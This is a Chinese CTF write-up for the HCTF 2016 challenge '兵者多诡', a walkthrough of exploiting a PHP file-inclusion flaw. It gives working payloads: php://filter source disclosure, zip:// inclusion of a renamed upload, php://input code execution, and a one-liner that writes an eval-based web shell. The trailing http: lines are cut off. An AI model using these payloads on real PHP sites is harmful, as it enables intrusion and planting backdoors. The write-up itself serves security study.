兵者多诡(HCTF 2016)
【题目简介】在home.php中存在一处include函数导致的文件包含漏洞,传至include函数的路径参数前半部分攻击者可控,后半部分内容确定,不可控部分是后缀的.php。  在upload.php处存在文件上传功能,但上传至服务器的文件名不可控。  【题目难度】中等 【知识点】php://协议的Filter利用;通过zip://协议进行文件包含 【解题思路】打开题目,发现首页只有一个上传表单,先上传一个正常文件进行测试。通过对上传的数据进行抓包,发现POST的数据传输到了“?fp=upload”,接着跟随数据跳转,会发现结果跳转到“?fp=show&imagekey=xxx”。
第一步:
利用文件包含漏洞读取文件源码类型如下面: ?fp=php://filter/read=convert.base64-encode/resource=../sqli/db.php
第二步 写入文件 ?file=zip://D:/soft/phpStudy/WWW/file.jpg%23phpcode.txt
先将要执行的PHP代码写好文件名为phpcode.txt,将phpcode.txt进行zip压缩,压缩文件名为file.zip,如果可以上传zip文件便直接上传,若不能便将file.zip重命名为file.jpg后在上传,其他几种压缩格式也可以这样操作。
由于#在get请求中会将后面的参数忽略所以使用get请求时候应进行url编码为%23,且此处经过测试相对路径是不可行,所以只能用绝对路径。
补充其他重要的协议:php://input
http:
[POST DATA] <?php phpinfo()?>
也可以POST如下内容生成一句话: <?php fputs(fopen("shell.php","w"),'<?php eval($_POST["cmd"];?>');?>
补充其他重要的协议:data://协议 php伪协议中的data通过通配符查找目录下的所有文件
http:
or
http:
or
http:
or
http:
|